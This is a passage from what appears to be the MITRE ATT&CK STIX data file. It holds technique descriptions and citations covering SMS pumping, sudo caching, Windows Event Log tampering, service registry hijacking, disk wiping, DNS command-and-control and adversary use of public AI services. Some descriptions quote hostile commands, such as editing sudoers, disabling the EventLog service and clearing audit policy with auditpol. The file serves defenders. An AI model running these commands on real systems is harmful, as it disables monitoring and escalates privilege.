            "description": "Adversaries may leverage messaging services for SMS pumping, which may impact system and/or hosted service availability.(Citation: Twilio SMS Pumping) SMS pumping is a type of telecommunications fraud whereby a threat actor first obtains a set of phone numbers from a telecommunications provider, then leverages a victim\u2019s messaging infrastructure to send large amounts of SMS messages to numbers in that set. By generating SMS traffic to their phone number set, a threat actor may earn payments from the telecommunications provider.(Citation: Twilio SMS Pumping Fraud)\n\nThreat actors often use publicly available web forms, such as one-time password (OTP) or account verification fields, in order to generate SMS traffic. These fields may leverage services such as Twilio, AWS SNS, and Amazon Cognito in the background.(Citation: Twilio SMS Pumping)(Citation: AWS RE:Inforce Threat Detection 2024) In response to the large quantity of requests, SMS costs may increase and communication channels may become overwhelmed.(Citation: Twilio SMS Pumping)",
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            "name": "Internet Connection Discovery",
            "description": "Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites, or performing initial speed testing to confirm bandwidth.\n\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "type": "attack-pattern",
            "id": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0",
            "created": "2020-01-30T14:34:44.992Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1548/003",
                    "external_id": "T1548.003"
                },
                {
                    "source_name": "cybereason osx proton",
                    "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.",
                    "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does"
                },
                {
                    "source_name": "OSX.Dok Malware",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
                },
                {
                    "source_name": "sudo man page 2018",
                    "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
                    "url": "https://www.sudo.ws/"
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            "modified": "2026-05-12T15:12:00.621Z",
            "name": "Sudo and Sudo Caching",
            "description": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !tty_tickets\\' >> /etc/sudoers</code>.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.",
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            "x_mitre_domains": [
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            "id": "attack-pattern--1411e6b8-80a6-4465-9909-54eaa9c67ce0",
            "created": "2026-04-14T22:54:01.982Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1685/001",
                    "external_id": "T1685.001"
                },
                {
                    "source_name": "Disable_Win_Event_Logging",
                    "description": " dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021.",
                    "url": "https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging"
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                {
                    "source_name": "EventLog_Core_Technologies",
                    "description": "Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021.",
                    "url": "https://www.coretechnologies.com/blog/windows-services/eventlog/"
                },
                {
                    "source_name": "disable_win_evt_logging",
                    "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
                    "url": "https://ptylu.github.io/content/report/report.html?report=25"
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                {
                    "source_name": "Microsoft Audit Policy",
                    "description": "Microsoft. (n.d.). Retrieved April 15, 2026.",
                    "url": "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/audit-policy"
                },
                {
                    "source_name": "Microsoft Adv Security Settings",
                    "description": "Microsoft. (n.d.). Retrieved April 15, 2026.",
                    "url": "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/advanced-security-audit-policy-settings"
                },
                {
                    "source_name": "Microsoft auditpol",
                    "description": "Microsoft. (n.d.). Retrieved April 15, 2026.",
                    "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol"
                },
                {
                    "source_name": "winser19_file_overwrite_bug_twitter",
                    "description": "Naceri, A. (2021, November 7). Windows Server 2019 file overwrite bug. Retrieved April 7, 2022.",
                    "url": "https://web.archive.org/web/20211107115646/https://twitter.com/klinix5/status/1457316029114327040"
                },
                {
                    "source_name": "T1562.002_redcanaryco",
                    "description": "redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021.",
                    "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md"
                },
                {
                    "source_name": "auditpol.exe_STRONTIC",
                    "description": "STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.",
                    "url": "https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html"
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            "modified": "2026-05-12T15:12:00.621Z",
            "name": "Disable or Modify Windows Event Log",
            "description": "Adversaries may disable or modify the Windows Event Log to limit data that can be leveraged for detections and audits. Windows Event Log records user and system activity such as login attempts and process creation.(Citation: EventLog_Core_Technologies) This data is used by security tools and analysts to generate detections. \n\nThe EventLog service maintains event logs from various system components and applications. By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to `Security Settings\\Local Policies\\Audit Policy` for basic audit policy settings or `Security Settings\\Advanced Audit Policy Configuration` for advanced audit policy settings.(Citation: Microsoft Audit Policy)(Citation: Microsoft Adv Security Settings) `auditpol.exe` may also be used to set audit policies.(Citation: Microsoft auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the `Set-Service -Name EventLog -Status Stopped` or `sc config eventlog start=disabled` commands (followed by manually stopping the service using `Stop-Service -Name EventLog`). Additionally, the service may be disabled by modifying the \"Start\" value in `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog` then restarting the system for the change to take effect.(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging)\n\nThere are several ways to disable the EventLog service via registry key modification. Without Administrator privileges, adversaries may modify the \"Start\" value in the key `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security`, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) With Administrator privilege, adversaries may modify the same values in `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System` and `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application` to disable the entire EventLog.\n\nAdditionally, adversaries may use `auditpol` and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the `/success` or `/failure` parameters. For example, `auditpol /set /category:\"Account Logon\" /success:disable /failure:disable` turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC) To clear the audit policy, adversaries may run the following lines: `auditpol /clear /y` or `auditpol /remove /allusers`.(Citation: T1562.002_redcanaryco)",
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            "x_mitre_domains": [
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            "created": "2026-03-25T14:21:30.680Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1682",
                    "external_id": "T1682"
                },
                {
                    "source_name": "GTIG AI Threat Tracker",
                    "description": "Google Threat Intelligence Group . (2026, February 12). GTIG AI Threat Tracker: Distillation, Experimentation, and (Continued) Integration of AI for Adversarial Use. Retrieved March 25, 2026.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/distillation-experimentation-integration-ai-adversarial-use"
                },
                {
                    "source_name": "MSFT-AI",
                    "description": "Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/"
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            "modified": "2026-05-12T15:12:00.621Z",
            "name": "Query Public AI Services",
            "description": "Adversaries may query publicly accessible artificial intelligence (AI) services, such as large language models (LLMs), to support targeting and operations. In addition to searching websites or databases directly (i.e., [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), adversaries may use AI services to synthesize, aggregate, and analyze publicly available information at scale. This may include identifying individuals or organizations to target, researching organizational structures and personnel, identifying technologies used by target organizations, researching business relationships to develop plausible pretexts for [Social Engineering](https://attack.mitre.org/techniques/T1684) approaches, identifying contact information for use in [Phishing](https://attack.mitre.org/techniques/T1566) or [Phishing for Information](https://attack.mitre.org/techniques/T1598), or gathering derogatory or sensitive information about individuals that may be used for extortion or coercion.(Citation: MSFT-AI)(Citation: GTIG AI Threat Tracker)\n\nInformation gathered through AI services may be leveraged for other behaviors, such as establishing operational resources (i.e., [Generate Content](https://attack.mitre.org/techniques/T1683) or [Establish Accounts](https://attack.mitre.org/techniques/T1585). For obtaining access to AI tools and services, see [Artificial Intelligence](https://attack.mitre.org/techniques/T1588/007).",
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            "x_mitre_contributors": [
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                    "source_name": "BBC-malvertising",
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                    "description": "Tal, Nati. (2022, December 28). \u201cMasquerAds\u201d \u2014 Google\u2019s Ad-Words Massively Abused by Threat Actors, Targeting Organizations, GPUs and Crypto Wallets. Retrieved February 21, 2023.",
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                    "source_name": "CrowdStrike BloodHound April 2018",
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                    "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2",
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                    "description": "Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.",
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                    "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.",
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                    "source_name": "Wikipedia UEFI",
                    "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface"
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                    "source_name": "Wikipedia BIOS",
                    "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.",
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                    "source_name": "Perez Sitemap XML 2023",
                    "description": "Adi Perez. (2023, February 22). How Attackers Can Misuse Sitemaps to Enumerate Users and Discover Sensitive Information. Retrieved July 18, 2024.",
                    "url": "https://medium.com/@adimenia/how-attackers-can-misuse-sitemaps-to-enumerate-users-and-discover-sensitive-information-361a5065857a"
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                    "source_name": "Comparitech Leak",
                    "description": "Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020.",
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                    "description": "Darren Pauli. (2015, May 19). Robots.txt tells hackers the places you don't want them to look. Retrieved July 18, 2024.",
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                    "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
                    "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
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                    "source_name": "Black Hills Red Teaming MS AD Azure, 2018",
                    "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.",
                    "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/"
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                    "source_name": "Google Cloud Identity API Documentation",
                    "description": "Google. (n.d.). Retrieved March 16, 2021.",
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                    "source_name": "Microsoft AZ CLI",
                    "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
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                    "source_name": "Microsoft Msolrole",
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                    "source_name": "GitHub Raindance",
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                    "description": "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved September 12, 2024.",
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                    "source_name": "insecure_reg_perms",
                    "description": "Cl\u00e9ment Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.",
                    "url": "https://itm4n.github.io/windows-registry-rpceptmapper-eop/"
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                    "description": "hexacorn. (2015, January 13). Beyond good ol\u2019 Run key, Part 24. Retrieved September 25, 2025.",
                    "url": "https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/"
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                    "source_name": "Kansa Service related collectors",
                    "description": "Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.",
                    "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html"
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                    "source_name": "malware_hides_service",
                    "description": "Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021.",
                    "url": "https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/"
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                    "source_name": "MDSec",
                    "description": "MDSec. (n.d.). Autodial(DLL)ing Your Way. Retrieved September 25, 2025.",
                    "url": "https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/"
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                    "source_name": "Registry Key Security",
                    "description": "Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN"
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                    "source_name": "microsoft_services_registry_tree",
                    "description": "Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree"
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                    "source_name": "gendigital",
                    "description": "Threat Research Team. (2022, March 22). Operation Dragon Castling: APT group targeting betting companies. Retrieved September 25, 2025.",
                    "url": "https://www.gendigital.com/blog/insights/research/operation-dragon-castling-apt-group-targeting-betting-companies"
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            "name": "Services Registry Permissions Weakness",
            "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the <code>Parameters</code> key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the <code>Parameters</code> key of a given services registry configuration. By placing and configuring the <code>Parameters</code> key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\n\nFor example, the registry path(Citation: MDSec) <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters</code>(Citation: hexacorn)(Citation: gendigital) contains the <code>AutodiaDLL</code> value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the <code>AutodiaDLL</code> to point to a hijacked or malicious DLL:\n\n<code>\"AutodialDLL\"=\"c:\\temp\\foo.dll\"</code>\n\nThis ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.",
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                    "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.",
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                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
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            "created": "2020-03-11T14:13:42.916Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1195/001",
                    "external_id": "T1195.001"
                },
                {
                    "source_name": "Palo Alto Networks GitHub Actions Worm 2023",
                    "description": "Asi Greenholts. (2023, September 14). The GitHub Actions Worm: Compromising GitHub Repositories Through the Actions Dependency Tree. Retrieved May 22, 2025.",
                    "url": "https://www.paloaltonetworks.com/blog/cloud-security/github-actions-worm-dependencies/"
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                {
                    "source_name": "Meyer PyPI Supply Chain Attack Uncovered",
                    "description": "Darren Meyer. (2025, May 28). PyPI Supply Chain Attack Uncovered: Colorama and Colorizr Name Confusion. Retrieved September 24, 2025.",
                    "url": "https://checkmarx.com/zero-post/python-pypi-supply-chain-attack-colorama/"
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                {
                    "source_name": "Ahmed Backdoors in Python and NPM Packages",
                    "description": "Deeba Ahmed. (2025, June 2). Backdoors in Python and NPM Packages Target Windows and Linux. Retrieved September 24, 2025.",
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                {
                    "source_name": "MANDVI Malicious npm and PyPI Packages Disguised",
                    "description": "MANDVI. (2025, April 22). Malicious npm and PyPI Packages Disguised as Dev Tools to Steal Credentials. Retrieved September 24, 2025.",
                    "url": "https://cyberpress.org/malicious-npm-and-pypi-packages-disguised-as-dev-tools"
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                {
                    "source_name": "Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025",
                    "description": "Omer Gilm Aviad Hahami, Asi Greenholts, and Yaron Avital. (2025, March 20). GitHub Actions Supply Chain Attack: A Targeted Attack on Coinbase Expanded to the Widespread tj-actions/changed-files Incident: Threat Assessment . Retrieved May 22, 2025.",
                    "url": "https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack"
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                {
                    "source_name": "OWASP CICD-SEC-4",
                    "description": "OWASP. (n.d.). CICD-SEC-4: Poisoned Pipeline Execution (PPE). Retrieved May 22, 2025.",
                    "url": "https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution"
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                    "source_name": "The Hacker News PyPi Revival Hijack 2024",
                    "description": "Ravie Lakshmanan. (2024, September 4). Researchers Find Over 22,000 Removed PyPI Packages at Risk of Revival Hijack. Retrieved May 22, 2025.",
                    "url": "https://thehackernews.com/2024/09/hackers-hijack-22000-removed-pypi.html"
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                    "source_name": "Bitdefender NPM Repositories Compromised 2021",
                    "description": "Silviu Stahie. (2021, November 8). Popular NPM Repositories Compromised in Man-in-the-Middle Attack. Retrieved May 22, 2025.",
                    "url": "https://www.bitdefender.com/en-gb/blog/hotforsecurity/popular-npm-repositories-compromised-in-man-in-the-middle-attack"
                },
                {
                    "source_name": "Trendmicro NPM Compromise",
                    "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.",
                    "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets"
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                {
                    "source_name": "Checkmarx-oss-seo",
                    "description": "Yehuda Gelb. (2024, April 10). New Technique to Trick Developers Detected in an Open Source Supply Chain Attack. Retrieved June 18, 2024.",
                    "url": "https://checkmarx.com/blog/new-technique-to-trick-developers-detected-in-an-open-source-supply-chain-attack/"
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            "id": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421",
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                {
                    "source_name": "DiginotarCompromise",
                    "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.",
                    "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"
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                    "source_name": "Recorded Future Beacon Certificates",
                    "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.",
                    "url": "https://www.recordedfuture.com/research/cobalt-strike-servers"
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                {
                    "source_name": "Splunk Kovar Certificates 2017",
                    "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
                    "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
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                    "source_name": "Let's Encrypt FAQ",
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            "description": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",
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                    "source_name": "Unit42 DNS Mar 2019",
                    "description": "Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can be (ab)used by malicious actors. Retrieved October 3, 2020.",
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                    "external_id": "T1561"
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                    "source_name": "erase_cmd_cisco",
                    "description": "Cisco. (2022, August 16). erase - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/D_through_E.html#wp3557227463"
                },
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                    "source_name": "Novetta Blockbuster Destructive Malware",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
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                    "source_name": "Microsoft Sysmon v6 May 2017",
                    "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
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            "description": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\n\nOn network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco)",
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                    "external_id": "T1071.004"
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                {
                    "source_name": "Medium DnsTunneling",
                    "description": "Galobardes, R. (2018, October 30). Learn how easy is to bypass firewalls using DNS tunneling (and also how to block it). Retrieved March 15, 2020.",
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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                {
                    "source_name": "OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government",
                    "description": "Kyle Wilhoit, Robert Falcone. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved July 21, 2025.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/"
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                    "source_name": "PAN DNS Tunneling",
                    "description": "Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved March 15, 2020.",
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            "description": "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling)\n\nDNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e.\u202f[Protocol Tunneling](https://attack.mitre.org/techniques/T1572)). The commands may be embedded into different DNS records, for example, TXT or A records.(Citation: OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government) DNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices.(Citation: DNS Beacons) Infrequent communication conceals the malicious DNS traffic with normal DNS traffic. ",
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                {
                    "source_name": "AWS Instance Metadata API",
                    "description": "AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019.",
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                    "source_name": "RedLock Instance Metadata API 2018",
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                    "description": "Krebs, B.. (2019, August 19). What We Can Learn from the Capital One Hack. Retrieved March 25, 2020.",
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            "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.\n",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72",
            "created": "2020-02-12T18:56:31.051Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1555/002",
                    "external_id": "T1555.002"
                },
                {
                    "source_name": "External to DA, the OS X Way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.",
                    "url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418"
                },
                {
